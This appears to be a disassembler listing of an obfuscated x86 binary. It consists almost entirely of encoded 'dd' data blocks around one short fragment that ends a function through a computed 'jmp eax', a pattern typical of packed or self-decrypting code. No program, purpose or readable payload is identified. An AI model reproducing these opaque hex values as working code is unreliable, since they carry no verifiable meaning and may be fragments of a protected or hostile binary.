		dd 49390E4h, 0F1EF66C2h, 0E1BFF9C7h, 1105h, 371B494Bh
		dd 7E500E93h, 4A8CDADAh, 9BBFA326h, 0E4EA7877h,	0B02F7753h
		dd 7E789CB2h, 4546EAECh, 0D8D3119h, 0B7D20357h,	0EDC66419h
		dd 0B20C3D88h, 2E2042BDh, 558068Ah, 0ACBFC63Fh,	79319C66h
		dd 0D18F1337h, 5B3A889Bh, 0FEF8A121h, 88F9D16Ch, 257352BBh
		dd 1E2A1h, 4566EA00h, 375A39EDh, 0A0D6D7E5h, 0D08F8EFBh
		dd 0BDF56D45h, 0FE40273Dh, 0CD1367FBh, 0DBFF6565h, 0A7FA039Bh
		dd 61596450h, 4F188EFBh, 0D898346Bh, 0A9950C87h, 6EA5FABEh
		dd 15BB5B62h, 78761A77h, 0A9986EAh, 0BB7F0AA4h,	0A9FE7715h
		dd 75EDEC52h, 1924203Fh, 587715BBh, 9273AB0Fh, 615D3603h
		dd 4C241Fh, 186F0000h, 15B381BCh, 3387D077h, 0F4F99133h
		dd 0F8F45A91h, 0DAAA046Ah, 0B950C85h, 8FBA185Ch, 0E7715BDh
		dd 97D5D179h, 0A50A8B23h, 6C40229Dh, 112CA8FFh,	407715BDh
		dd 1522A317h, 0C61F6163h, 250D5902h, 0EEC04905h, 0F178h
		dd 3DBDEC00h, 0F1C79B1Ch, 0A991E772h, 23783C2Eh, 25FAA11Fh
		dd 0DB0EE102h, 0E17E32C1h, 3F25A589h, 0E1EF2279h, 8EFB66DCh
		dd 666B12BEh, 1D4A8EFBh, 0A88CE27Dh, 27C6F228h,	7E8EFB66h
		dd 527C52E1h, 8EFB626Ch, 6815A3F6h, 498EFB63h, 2D3DB81Eh
		dd 83E1E145h, 0CB971A3Ch, 8C3086E5h, 2B39B79Bh,	8090E645h
		dd 12BE0508h, 950F12F9h, 2605FE3h, 0E3761F4Eh, 0C5ADF5E6h
		dd 0A35A76A9h, 0F277176Dh, 4FF3D665h, 0F9D82B50h, 694F1394h
		dd 0F86256FAh, 0EBBC9221h, 0B3F96767h, 5F5EC2B4h, 6BF08DCBh
		dd 8DA17717h, 28C75210h, 60BD9C36h, 8F5D9BECh, 0F49h, 83D78D0Fh
		dd 0D2045A5Fh, 1E302EAEh, 676BF7FAh, 0B0A6C4C3h, 0FCFBC31Fh
		dd 0CAC4686Eh, 9112B698h, 5959FDD5h, 0FBAEC70Bh, 0EDC820DDh
		dd 6EC87188h, 2E2042BDh, 7658068Ah, 0CE9C1921h,	3DBD78E8h
		dd 0E9E95127h, 0AF33577Bh, 61A25B79h, 4A398EFBh, 209B2459h
		dd 0B51B3452h, 0CB8627F4h, 94EB86A9h, 3F4A7341h, 72B8EFBh
		dd 6F43DE84h, 0A8B52D29h, 0D573E7D5h, 5700950Ch, 85BA503h
		dd 0BD910000h, 6E4C2042h, 8EFB6153h, 1C566EE6h,	0BB1FD2D3h
		dd 0AD55CDEBh, 0EF7A87BFh, 10360D50h, 819ED290h, 0DA9ECCC9h
		dd 0FB4B654Dh, 28951216h, 0E2E6683Fh, 8EC55A7Ch, 12163BC2h
		dd 85ED7A77h, 6D4321A1h, 0A698CAC5h, 0EC5E2B16h, 7A693771h
		dd 3C00000Eh, 0EB2A4BEh, 59FDD589h, 0A7CB0F5Dh,	0F4183E24h
		dd 2E6169F9h, 3D2DA8F4h, 75F7F115h, 0AEBC395Dh,	0DE8404A8h
		dd 82CE59F8h, 88EDCBFBh, 4E3B83BAh, 26ADD57Bh, 73C8C041h
		dd 0FB3FA855h, 185E098Eh, 0A1A9B934h, 601DBB8Eh, 318EFB3Fh
		dd 0ECEC5026h, 9A1E0276h, 1777F0C4h, 0A8B63A76h, 1EBAF1A6h
		dd 8EFB3F6Fh, 30511936h, 2572E523h, 0EF7376D8h,	0B3349A89h
		dd 0D55CBAFh, 0D1000000h, 0FB6C0737h, 5851AF8Eh, 0C5FFFFFDh
		dd 0FB613A37h, 0BF1D508Eh, 8EFB618Eh, 3E3678D7h, 7CC0A7A6h
		dd 166F958Fh, 5A8DE5A9h, 12600E7Eh, 0BB196C95h,	7712A082h
		dd 0C63284D3h, 9F8AD7B0h, 3FCA7A0Bh, 7CE2E668h,	537FC55Ah
		dd 0DED31BF6h, 88777642h, 312E7712h, 6868CCA2h,	1392B6FAh
		dd 9CD31357h, 4EA8EC5Eh, 0D9490h, 8AD8DA00h, 0C39F2044h
		dd 0FD6B6B8Fh, 3032B1D5h, 6FFBFA1Eh, 0B2FAD46Bh, 0FF233733h
		dd 0CB6F6301h, 16BA9CCAh, 6B8ACC92h, 0CAED903Ch, 0B5B488EDh
		dd 273DBD2Dh, 40E9E951h, 21972240h, 0EBA56446h,	0DE5179E7h
		dd 8AEC7E78h, 7286EE7Bh, 0AA252D25h, 0D60F6B8h,	0E4000000h
		dd 0FB6C0737h, 9851AF8Eh, 0C5FFFFFCh, 91F4F991h, 6DF5F45Ah
		dd 77451807h, 8EFB6176h, 507E302Fh, 950C7C10h, 1482F661h
		dd 77158464h, 14F82E5h,	7715847Ch, 14442A25h, 7B04C875h
		dd 0DCE10BFEh, 6E596450h, 4F187715h, 0C49A1EB0h, 0C63F73F0h
		dd 1F609279h, 0C7439EA2h, 0FB382CC7h, 1F2A1B7h,	4E250000h
		dd 0F75B0788h, 19066AF8h, 613A6751h, 18B88EFBh,	646AF8F8h
		dd 0CEA2C0C0h, 0FB6179E0h, 0BD5C2C8Eh, 6961FF83h, 76D70E9h
		dd 0F76B6ED0h, 0F1DFA281h, 8EFB61CCh, 50F4BA95h, 0F71E2B50h
		dd 5D5CA2DCh, 5457FBCEh, 15BDAA0Eh, 0C4E8CE94h,	6E4220A0h
		dd 0FBE90140h, 19F8808Eh, 8A82B094h, 3197666Ch,	2A3B0879h
		dd 85212573h, 0A5000001h, 40273DBDh, 0FA00F8FCh, 0EFC384FCh
		dd 20CE72A9h, 79E9E45Bh, 19C852D3h, 77EDED51h, 727B1363h
		dd 5FA1A12Fh, 458D950Ch, 3F5B1F45h, 3DC8961Bh, 0D3A85977h
		dd 51297714h, 351421B0h, 4F061F62h, 0B1000000h,	155D0F89h
		dd 3CF9910Dh, 0FB61ED90h, 25A2B48Eh, 0B65AD126h, 0C7C88E1Dh
		dd 0BB56D59Bh, 0E19CE8E4h, 9AB5950Ch, 21C9F8D6h, 37487714h
		dd 9BD18F13h, 442836B7h, 366648E7h, 2593E657h, 77142118h
		dd 59A80E59h, 1F61C70Ch, 0D40Eh, 3DBD7600h, 0F9FE4027h
		dd 67CB0D65h, 0E7863268h, 0BE8EFB61h, 674D199Ah, 9ADE6DF8h
		dd 0BB420E45h, 308EFB61h, 9F7E5074h, 233C5A0Fh,	79E7EB4Fh
		dd 0DCE1EF22h, 858EFB22h, 0FEA2E4CAh, 390164FAh, 5BC8ACBEh
		dd 0A785B317h, 338EFB3Ah, 4A2DD0FCh, 0E0748EFBh, 353286E4h
		dd 0C8F5C3A6h, 0A98EFB4Ah, 5454F8BEh, 1088C80Eh, 0F11AB60Dh
		dd 0C0950F3Bh, 55FD3097h, 0C6A50B59h, 11514CF0h, 481A9539h
		dd 612EDA16h, 8D5B9DECh, 0B51h,	8BCF9517h, 0DAFC6267h
		dd 262836B6h, 6F63FF82h, 0B89ECCCBh, 483CB07h, 0D2CC7066h
		dd 991ABE90h, 616185CDh, 0E3A6CF03h, 0EDCC28D5h, 66F08988h
		dd 2E2042BDh, 558068Ah,	7FA6773Fh, 7E384352h, 0EB8B4193h
		dd 0D8FCB277h, 1E3DBD88h, 9C7BB777h, 86FE5A0Ah,	0C2CCFBFCh
		dd 411FA337h, 565AFEB2h, 7AD8C608h, 4C000004h, 0D4784AADh
		dd 0D9BBFDCBh, 46CEA067h, 3F48F6CEh, 0AEBEF33Eh, 22794C13h
		dd 0FB889796h, 0D991CE8Eh, 12E89CFFh, 7978DE95h, 0D2A483E9h
		dd 510D92A6h, 0F7710C1Bh, 0EDEFD74Fh, 0D93995F1h, 0B60259F4h
		dd 6CE668B6h, 0D62D70EFh, 22A8C3FAh, 0DC5927Dh,	5CE2D48Eh
		dd 0F9843007h, 0B87D22A8h, 0DCEDCBAFh, 5D7D22A8h, 989706CAh
		dd 0B5FB6969h, 0B14022B6h, 8A0BA317h, 0C69C1D25h, 0E7C491F0h
		dd 0B8B6194Bh, 2E000003h, 0A05D7B4Eh, 0F18EFB61h, 8BA61066h
		dd 988EFB61h, 8EFB61FEh, 0D3B6B72Fh, 0E539BA9Ch, 0FB61D6D7h
		dd 45D08F8Eh, 10BEF06Fh, 950C75B8h, 0DE184E19h,	8DEC639Eh
		dd 0A2BFDABh, 6F6D0000h, 38B9DDF5h, 480242Ah, 0CDCC7066h
		dd 9E19BD95h, 99758ACCh, 0BE90D2CDh, 88CE9C1Ah,	0D7FB6764h
		dd 19312FB3h, 1A2391F8h, 5B88EDCFh, 884E9822h, 14135909h
		dd 5FFAFEA2h, 89AF055Bh, 8D44D5AAh, 1AA9445Dh, 7C46DE56h
		dd 81E1DC7Bh, 0CBA13C2Bh, 0BAFE6467h, 3C831EADh, 12EAB890h
		dd 84E1995h, 727650C8h,	26A088ECh, 471AA944h, 33C04781h
		dd 3F10DD62h, 0B6C4C7AAh, 6D82F483h, 0F86CF76Fh, 5CCA6C6Ch
		dd 0DCCE1ADBh, 7F3529AEh, 0E3C655E0h, 0CF03615Fh, 28977821h
		dd 7FA9D7Dh, 3331AFD3h,	0B3E7EA6Ch, 28957805h, 932E397Dh
		dd 31B199DFh, 61F97D33h, 95053894h, 35C7D28h, 76DA1174h
		dd 0AF48F8B2h, 1E444557h, 783ECD5Ah, 0DFE2965Eh, 474BEF66h
		dd 39D45319h, 36F6DF01h, 0E0BEF8E0h, 945h, 0F7DB890Bh
		dd 3E104E53h, 0A4C1A9Ah, 5B7FE3E6h, 0A4AAB837h,	0F0EFB713h
		dd 0BE385C72h, 8506AAACh, 4D4DF1D9h, 0F792C317h, 0EDCE24D9h
		dd 72CC7D88h, 91F4F991h, 6FF3F45Ah, 139AD0Bh, 312E9512h
		dd 78EAE46Ah, 0DBE2EE25h, 50771201h, 954D2BA5h,	2926604Fh
		dd 0BC476652h, 411E7712h, 6CD24569h, 9BBFF36Fh,	25784F1Dh
		dd 12BC9697h, 0DE90CF77h, 0F9049C98h, 0DC4216A2h, 0FF936CFBh
		dd 9ED261FFh, 0A8FFFE96h, 5D466755h, 401F7D28h,	839B396Eh
		dd 0D066DFB1h, 0C42B4387h, 46A0E036h, 8A498h, 7AE8EA00h
		dd 0B3AF3054h, 0ED7B7B9Fh, 204241E5h, 5F0B8A2Eh, 420AC47Bh
		dd 8F332743h, 0DB7F5311h, 264A8CDAh, 7B9ABCA2h,	0D19DA02Ch
		dd 0A5C488EDh, 273DBD1Dh, 7BE9E951h, 0B1503235h, 6D65FBFFh
		dd 72834714h, 1AD3525h,	2B7E0000h, 0FB6990ADh, 2096C18Eh
		dd 5D7B4E40h, 8EFB61A0h, 1066F1h, 923E8588h, 950C6D52h
		dd 0D08E0F23h, 0CACB8F9Ch, 0BC4BD89Ch, 952FDAF8h, 0DEAE7715h
		dd 1DBB8E3Fh, 77159560h, 0C3A11D31h, 36034234h,	241F6177h
		dd 163h, 273DBDA0h, 7BE9E951h, 0DAE3D124h, 9B8EFB61h, 8EC6EACCh
		dd 4B01716h, 950C8744h,	58763A15h, 7715BBA9h, 22B15028h
		dd 1F615D15h, 3B07h, 0F9917F00h, 2AA991F4h, 0EA217638h
		dd 61043997h, 25D8EFBh,	853202ACh, 0F658950Ch, 0D50169F5h
		dd 0E998367Ah, 687715BDh, 0B4B23317h, 0DF0F63C0h, 6292DF3Eh
		dd 0D4881F61h, 0FC000000h, 51273DBDh, 387CEEE9h, 9ED29010h
		dd 60028149h, 0F75B1F0Ch, 4B656DF3h, 8EFB7DC5h,	0C48DEE2h
		dd 71048571h, 64503720h, 71048559h, 0EDB04F18h,	85033A96h
		dd 5527104h, 0A3174D4Dh, 5C24287Fh, 0F3B32EBCh,	7EECE86Eh
		dd 0CD452D3Ah, 0CD754855h, 4FDC90D2h, 7798346Bh, 796AF037h
		dd 29174D3h, 7139B372h,	0D3774A05h, 1C4096D4h, 7B99C1A1h
		dd 6CEC6011h, 72B5C0Ah,	6F6D0000h, 38B9DDF5h, 480242Ah
		dd 0CDCC7066h, 9E19BD95h, 99758ACCh, 0BE90D2CDh, 88CE9C1Ah
		dd 0D7FB6764h, 19312FB3h, 1A2391F8h, 5B88EDD0h,	42BD9822h
		dd 3DC8961Bh, 0BB3C0215h, 6C69D1A7h, 1EADBAFEh,	57F4F458h
		dd 2F099871h, 9FCDC9DCh, 20BF4AD9h, 68FAF55Dh, 0BD42A206h
		dd 0E951273Dh, 0C0577BE9h, 8DE37F7Eh, 4E0ED89Eh, 39000000h
		dd 61D7D6E2h
		dd 0D18E8EFBh, 8AEE7C79h, 0AD4DD59Dh, 0D1DC74FBh, 16CCE8Ah
		dd 9AB59512h, 6A9AE1Ah,	9C388F8Eh, 6CFB5EB5h, 21744B04h
		dd 29DEEA93h, 0DA9CCB7Dh, 3BC50B58h, 7458CFBFh,	53955327h
		dd 4E000000h, 0D7B01B8Ah, 0F0C6C107h, 0F4F99170h, 49075A91h
		dd 8EFB61B4h, 923C72EDh, 950C8C26h, 5E0C8A4Ch, 9D0EE1FAh
		dd 0F5BD4402h, 0CCEACE99h, 77152B3Ah, 2040C19Dh, 45199EA8h
		dd 15E5D3B6h, 5A6CE206h, 1F52C50Dh, 263E8CB1h, 347AD57Dh
		dd 0A46Ah, 0F991DA00h, 4B2391F4h, 0A8951201h, 0E96E90BFh
		dd 801FFE2Eh, 1F5BE5B3h, 73A9h,	0F9911D00h, 7E5A91F4h
		dd 8EFB614Fh, 3E713916h, 1201B992h, 4F1895h, 0A9BB351Dh
		dd 1C7E6D2h, 0C19E7712h, 0F5B455E9h, 0E875E4A5h, 0D21F5BE6h
		dd 40h,	0E884E52h, 821A1A5Ch, 0C6A8247Bh, 13951201h, 60E11944h
		dd 0C7C80E99h, 6056D59Bh, 7DCA49C8h, 0BE1F5BE3h, 0F9B9FD9Ah
		dd 0FCB2EBEFh, 246Ah, 0B12D1500h, 0EA6EFDB3h, 2D1A2F5Ch
		dd 0A6BEF01Ch, 0FB7CE737h, 54F8CF8Eh, 0ED35623h, 33EDC50Fh
		dd 0FFFFFF15h, 0F4F99123h, 0F8F45A91h, 0A0145651h, 544234C3h
		dd 951201CCh, 297E322Dh, 0ECC2A021h, 0AB29EC64h, 77120192h
		dd 0A2F994C3h, 0A6D3B39Eh, 1202132Ah, 0BF154277h, 5026BC57h
		dd 0D3D8B11Fh, 2E396CFBh, 8331045Bh, 7D2853FAh,	9DA0ACBBh
		dd 0C47D2853h, 95E1278Bh, 0E19C38FDh, 0B07D2853h, 6C40229Ch
		dd 8ED560FFh, 0C13342C2h, 0AAA4A866h, 51015C2Bh, 0CD9AF6B8h
		dd 199DA3F6h, 0F7EDD8Ch, 0CCCD7139h, 98304096h,	5282CE95h
		dd 378AE22h, 0CCC97154h, 9E9EB89Eh, 2FC0878Fh, 799DB5ABh
		dd 0B185EB79h, 3B11419h, 0DA7250FBh, 203EBF83h,	7F9BDF4Ch
		dd 0E8B88CE0h, 0ED737729h, 1D4441E5h, 73F0C49Eh, 27A890E4h
		dd 0E8F11A02h, 4F058A42h, 2A551CADh, 7356E5D1h,	3AED903Ch
		dd 0C18FC796h, 0C7963A3Ch, 88ACEA65h, 0B185C0Eh, 89F43A7Ch
		dd 0C7C47819h, 9213B79Bh, 874BE0D4h, 20145A08h,	45199E1Dh
		dd 98C6CB6Fh, 977656D4h, 0F85E81EEh, 240369F9h,	3A4A7341h
		dd 3C2BC796h, 2963227Ah, 65EBBEACh, 0F26DC199h,	0E1C5ADF3h
		dd 5D7B4E81h, 8EFB61A0h, 1066F1h, 52D8376h, 0B199DF85h
		dd 0DA7E3230h, 1D298FDBh, 0B9EB8C0Dh, 0BADCAC6Dh, 0EBEF1347h
		dd 2ED05675h, 326E2F7Fh, 0A030B0AEh, 0AA4C7A1Fh, 1D93A2Ah
		dd 0ED903E72h, 608EFB04h, 0CACF8100h, 9D1E4294h, 3DCDEBC1h
		dd 7D8EFB04h, 0AF2C6021h, 44889FB3h, 3ED3AF23h,	13BDF5F2h
		dd 8EFB0B2Fh, 8A194944h, 72EC4F19h, 0FF8B4D25h,	0BDB9FFFFh
		dd 0C2A01C3Dh, 0FBFF2337h, 0D0D06665h, 0A223B792h, 0B54AF0C4h
		dd 898F515Dh, 50128C42h, 0A9B9341Ch, 89EEAFFFh,	9B657C7h
		dd 0D0A4C6C1h, 0B73B1F53h, 0E9760FA9h, 0D3257345h, 3Dh
		dd 0F4F99153h, 14E2391h, 0B2949512h, 0EE7D332Fh, 0ACF36C88h
		dd 0EEAC14A8h, 0A70B094Ch, 5550F608h, 0B02838D9h, 97FAD6ADh
		dd 0E66CFB32h, 142E1269h, 0C3E6DA99h, 815FD59Dh, 30h, 0F4F99175h
		dd 3D2FA991h, 0C3962275h, 29951201h, 0FC5A721h,	83BA71B4h
		dd 4704689h, 2FFA0C4Bh,	262237Bh, 903C838Ah, 6CFB38B9h
		dd 31A54F18h, 51273DBDh, 577BE9E9h, 0AABF871Fh,	0E4B950CFh
		dd 0FE1FF441h, 0A9447879h, 0D1C7E6D2h, 0C19E8EFBh, 61616F32h
		dd 0CD950C37h, 0C3282B07h, 0BFF3723Ch, 2B00453h, 7714C977h
		dd 3C70EEEEh, 0C9D4E9E7h, 0D28D7714h, 8DE37F7Ch, 4F28E9B9h
		dd 8B0A8B93h, 1F622ABEh, 36BCh,	7B4E2800h, 0FB61A05Dh
		dd 0F266F18Eh, 47914DE5h, 0ACA40ACEh, 66522934h, 950C5B0Eh
		dd 76A40847h, 7714DB7Bh, 5AE3A2FAh, 169F9F4h, 624173C0h
		dd 0F3691Fh, 0BDDD0000h, 0E951273Dh, 0E3387CEEh, 0AC02605Fh
		dd 75A0888h, 64259AC1h,	5C12BA5Bh, 0ACB2361Ah, 0B368CAAh
		dd 2FB38EFBh, 33061931h, 0FB0BF885h, 2AAEB98Eh,	0BAFFD103h
		dd 0D317989h, 4AE1D78Dh, 95D3D377h, 790440DFh, 388EFB5Eh
		dd 3826AB2Fh, 0B383F774h, 784F121Bh, 5E969725h,	90CF8EFBh
		dd 5488F0DEh, 0B6E9950Ch, 1454631Ah, 0B24B0977h, 0E3771454h
		dd 0AE3D2A74h, 0ADB028A8h, 265FFAD6h, 312E6CE0h, 8929E66Ah
		dd 76B6ABDDh, 150F69E2h, 551DCB52h, 0A1C13C02h,	0D88A05A9h
		dd 50159CE6h, 6F3D7BE6h, 209h, 0C3174D4Fh, 12441A9Fh, 5E70EEEEh
		dd 0A7ABB73Ah, 0F0E68403h, 0BC3B835Fh, 8A04A8AEh, 5152F6D8h
		dd 19993D15h, 0BBEE074Bh, 0EDD7601Dh, 0AE083188h, 0A05D7B4Eh
		dd 0F18EFB61h, 0B12C1066h, 757599B1h, 774598EFh, 8EFB6176h
		dd 5A7E302Fh, 0D884E0Ah, 0A608175Dh, 503736AEh,	0E61524ECh
		dd 0B296D5E0h, 0BEDB7185h, 0FA2D855Fh, 401EA3A7h, 0FF4406Eh
		dd 322D950Ch, 7A1507Eh,	0B9387714h, 5F5FC3A9h, 0D042AB01h
		dd 0F28A4431h, 0ECB78413h, 0FEA51F61h, 21000000h, 51273DBDh
		dd 0AFB3341Ah, 0FA6867CBh, 65A218B6h, 0F9CC8EFBh, 49A22DBh
		dd 92E47371h, 22342AAEh, 5B5FFAFEh, 25B0AF05h, 0F7C5184Fh
		dd 71049AF6h, 101CB0AFh, 2227F21Fh, 148C84EAh, 2206B209h
		dd 486AF35Bh, 3E95CF75h, 0D5E90A5Dh, 1516F6F7h,	78BAF77h
		dd 79141359h, 37B1C531h, 471D9D35h, 0B62EA6A8h,	0B59DD0B7h
		dd 0DA492F35h, 1634C987h, 0F26D7715h, 671612BCh, 0F85C6CE1h
		dd 0C38345EBh, 0CAC48AB1h, 6357D498h, 0CE0558F7h, 210BFB82h
		dd 0C5ADBA7Dh, 45F95F92h, 8106C18Dh, 42BDE1C9h,	0D1792E20h
		dd 6A7EAFD4h, 0D7F41C04h, 83F77438h, 1C42209Fh,	0E64F3C0Ch
		dd 0B6C3E1C7h, 0F8000000h, 0C26668FAh, 5A9A1BDh, 53F7DB89h
		dd 983C1250h, 0F2054D1Dh, 11514C18h, 491B9539h,	82E0DD01h
		dd 0BAA8284Ch, 0AE2A7D94h, 88EDD99Fh, 0BD1FA7C6h, 0F55D2042h
		dd 0A3076BF9h, 0EDE57B7Fh, 1C3DBD75h, 63FFFE9Dh, 0F483E0D4h
		dd 4A189880h, 95D3D377h, 4A6E40DFh, 9ABCA226h, 2341BD85h
		dd 0B498DE4Dh, 45B2E34h, 0FB61B548h, 3F73EC8Eh,	0C5A1DBF9h
		dd 84E0E845h, 19474B05h, 570D8D31h, 0A8BA3961h,	612040C4h
		dd 5F7DAB2Fh, 284EFAAEh, 85CD58F7h, 0BC036161h,	0C8841A9Ah
		dd 284EFA35h, 1064F36Ch, 0F9BFAB28h, 559BDF6Ah,	897h, 98EB000h
		dd 0C9051D55h, 253FBD31h, 79E7EB4Fh, 0D08E0F33h, 283AB49Ch
		dd 81E1DC44h, 0DA88072Bh, 332FB296h, 8BD9D57Dh,	0E67C7D25h
		dd 89525492h, 4B850E2h,	1000000h, 0EA8358C2h, 24148704h
		dd 72D7685Ch, 0C890000h, 0E6895624h, 4C681h, 0EE810000h
		dd 4, 5C243487h, 56243489h, 16A241BEh, 8BF18906h, 0C4812434h
		dd 4, 8904EC83h, 4812424h, 424h, 0EC835E00h, 240C8904h
		dd 8B08468Fh, 89512434h, 4C181E1h, 81000000h, 4C1h, 240C8700h
		dd 2434FF5Ch, 4C48159h,	0E9000000h, 0FFFB8E18h
		db 0BAh
; ---------------------------------------------------------------------------


loc_5A5565:				; CODE XREF: sub_5A3B54:loc_5A3D6Cj
		mov	eax, 616B920h
		add	eax, ebp
		jmp	eax
sub_5A3B54	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 2427h
		dd 0D43350Dh, 0BB996243h, 5A3E32CAh, 0FAC95AE5h, 699D1224h
		dd 0DD2D492Ch, 6ECE60C8h, 0CD2E1EDFh, 8D8E057Eh, 32112221h
		dd 0C08B75EFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	67C35545h, 25F1BD83h, 75000611h, 3DBD8309h, 61124h
		dd 53501974h, 0FCB8C08Bh, 89000003h, 111D4D85h,	299D8D06h
		dd 0FF0613B2h, 83585BD3h, 11243DBDh, 17740006h,	0FCB85350h
		dd 89000003h, 111D4D85h, 189D8D06h, 0FF0613AFh,	81585BD3h
		dd 0EAE4F2E3h, 0E2CE8064h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 65C35343h, 10E8B2h, 0AABE0000h, 3708501Fh
		dd 1C94F107h, 0D40BA653h, 0BF0F2551h, 0C8BA5ADBh, 8B5DA72Eh
		dd 8333B3C0h, 111B71BDh, 840F0106h, 53h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Bh, 0DEC35545h, 6376F6B5h
		dd 0BA40732Ah, 45D94B09h, 139DBD83h, 0F000611h,	1E85h
		dd 0F90B300h, 587h, 0DA816600h,	0BD83529Dh, 6111DB9h, 4B840F00h
		dd 66000000h, 0E9E7B5BAh, 47Ch,	6E86051h, 8C000000h, 19641703h
		dd 61F55AAFh, 5Ah, 81666000h, 666644EAh, 6A61C88Bh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0D0F8C350h, 2A115ABAh, 1CFEF989h, 0AFAF0BC3h, 0F2023A51h
		dd 0ED56358Dh, 0A95DB614h, 0A9985857h, 0F6EDB000h, 0D56FEFC3h
		dd 0EDF2B424h, 0A9A5B424h, 0FE9BB000h, 3F9AB6C3h, 0A9B5007Ch
		dd 3E28D974h, 0A9A760FFh, 0A9E55856h, 0F753B000h, 0DD30EEC3h
		dd 0ED5DB424h, 0A977B424h, 0FF71B000h, 832FA3C3h, 227B26DEh
		dd 0ACCF59DEh, 0A919B000h, 0A9BA5855h, 0F4FCB000h, 0C5E7EDC3h
		dd 0EDB6B424h, 0A98CB424h, 0FC88B000h, 135213C3h, 0A9605936h
		dd 7F53B000h, 69C42DC2h, 14025064h, 0FE33EA9Fh,	0B8E68997h
		dd 0A925E58Bh, 0F4E6B000h, 12BA5D81h, 0A9D3B616h, 0A9DF5852h
		dd 0F34EB000h, 0FDBEEAC3h, 0ED1AB424h, 0A9DAB424h, 0FBA4B000h
		dd 0C0A96DC3h, 0AF3DBFB4h, 28DCB000h, 0C22864CBh, 0A93B587Fh
		dd 7E84B000h, 70B25656h, 89F2CFCBh, 231347C2h, 22E2D1EAh
		dd 4B5DD6C0h, 22FE27C0h, 0A0DEE0D7h, 419BB000h,	7A3F3EB1h
		dd 0DB80F14Dh, 2813D090h, 0DCC553DBh, 0A9D75948h, 54E7B000h
		dd 0F7F9AD73h, 301EFC9Ch, 2FC2D198h, 0A9E6B005h, 94DFBBB9h
		dd 0A8B6D10Bh, 4122944Ch, 0A96EB00Ah, 0CE0833F5h, 9D89EBE3h
		dd 1EC2ABD8h, 5CBEEADBh, 0A971BC05h, 0A9AB5900h, 2032B000h
		dd 8F57EE75h, 22932053h, 3A076373h, 5DA179DFh, 0A98CB88Bh
		dd 0A9705853h, 0F299B000h, 0F555EBC3h, 0EDEFB424h, 0A92BB424h
		dd 0FAD8B000h, 565A0DC3h, 0E7042511h, 22157C86h, 22DF4C48h
		dd 0A9DD08DEh, 0A904B000h, 0A9345853h, 0F2BBB000h, 0F544EBC3h
		dd 0ED67B424h, 0A966B424h, 0FAFAB000h, 40F970C3h, 0A96EB011h
		dd 0EA506FD1h, 6A8A1559h, 51483510h, 65A1FD31h,	0D0C8E090h
		dd 20A7078Fh, 12BA940Ch, 25083620h, 0FF37DAD9h,	0A99BB3E8h
		dd 6A939000h, 8D92395Eh, 8D373104h, 0A9B9A604h,	6A8AF600h
		dd 0CF63A1C7h, 1D077281h, 5C970860h, 21C28A97h,	0A9E6B003h
		dd 0C8B56F80h, 0A6BD71F6h, 0A9DDD485h, 0FC6EDA00h, 0A937B3E8h
		dd 6AC69000h, 8DA1395Dh, 8DA23104h, 0A973A704h,	6AECF500h
		dd 61F7DECDh, 4838D2BBh, 0A95DE90Bh, 0A9985850h, 0F1EDB000h
		dd 0ED6FE8C3h, 0EDF2B424h, 0A9AFB424h, 0F99CB000h, 66F869C3h
		dd 0A35D0B66h, 0A6F38980h, 0A9CC0E85h, 0A9E95800h, 0D387B000h
		dd 83EBC19Fh, 9A666B4Ch, 7DE6AE7Bh, 4B350A3Ch, 22C0C4D1h
		dd 0A9A7B179h, 0A9E55852h, 0F353B000h, 0FD30EAC3h, 0ED5DB424h
		dd 0A972B424h, 0FB75B000h, 772A28C3h, 9FEDB853h, 281FC87Dh
		dd 0A973B0FFh, 0D93BBF80h, 0C3DCB001h, 0AA86E300h, 8937B000h
		dd 20C0735Bh, 28C9945Ch, 0B1E29444h, 0EA73B000h, 0A9CE7353h
		dd 0CF7A1D13h, 7E15381h, 13CC35C7h, 0A99AB616h,	0A9A7B000h
		dd 0A9E55851h, 0F053B000h, 0E530E9C3h, 0ED5DB424h, 0A978B424h
		dd 0F876B000h, 64C661C3h, 0A9CDA2E9h, 79F82300h, 0FD5500A0h
		dd 2EDE9370h, 0DB5C57EFh, 0A600AAD6h, 0A937B58Bh, 6B1AD600h
		dd 0B4243ED9h, 41E6B001h, 0A973B013h, 0D13CB523h, 289BF8FFh
		dd 0B0B1D3C1h, 0CEEE120h, 40A43D91h, 0A9CDB00Fh, 5EE9615Ch
		dd 619127BAh, 4C141083h, 0F2377BB5h, 0A96E7AE9h, 0FA37DA00h
		dd 0A99BB3E8h, 6A969000h, 8DBA395Bh, 8D373104h,	0A9B9A804h
		dd 6A8FF300h, 0CD3129Bh, 0A95DE97Dh, 0A9985850h, 0F1EDB000h
		dd 0ED6FE8C3h, 0EDF2B424h, 0A9A5B424h, 0F99CB000h, 91CB86C3h
		dd 3C228D04h, 13FD96CEh, 2AAB45F3h, 0A619BB79h,	0A973C684h
		dd 0FEB9DA00h, 0A9DCB3E8h, 6A319000h, 8D4B395Fh, 8DDF3104h
		dd 0A9CDA904h, 6AB1F700h, 0EE3ACB54h, 0B9513408h, 0A2DCB000h
		dd 0F2F6AC6Bh, 0CB240FB1h, 0B722171Dh, 29CFE87Eh, 6EBC6CCFh
		dd 0BFC94B85h, 0A9B9B106h, 0FADCDA00h, 0A96EB3E8h, 6A6C9000h
		dd 8DC7395Bh, 8D893104h, 0A9E6A704h, 6A20F300h,	0BC106228h
		dd 0AF34638Bh, 0A86EB000h, 0C698DEC9h, 5A1AD60Eh, 0E1978DE8h
		dd 41B3B06Ah, 0A973B003h, 0F47AED20h, 0ADF8DC89h, 0AD4AF481h
		dd 0A937B015h, 7258E545h, 767ABF79h, 4E5CC6B9h,	0ADF63D06h
		dd 24BFA6C1h, 0BF6332BDh, 0DD968B06h, 78388007h, 5C70F7C9h
		dd 0A9CDB7E8h, 0F9B55600h, 90CCE75Ch, 0F38540BBh, 2AD3EB68h
		dd 0A96EB005h, 55F93B60h, 0FB9BDA61h, 0A9CDB3E8h, 6ABC9000h
		dd 8D27395Ah, 8DFD3104h, 0A9DCAA04h, 6A3CF200h,	59FD646Eh
		dd 0A656274Bh, 144E68BFh, 0AFF7AB71h, 8AF7BF01h, 2AB9B000h
		dd 0B8CF2DBDh, 2C61B006h, 0A937B016h, 0DA800B66h, 0B4740D83h
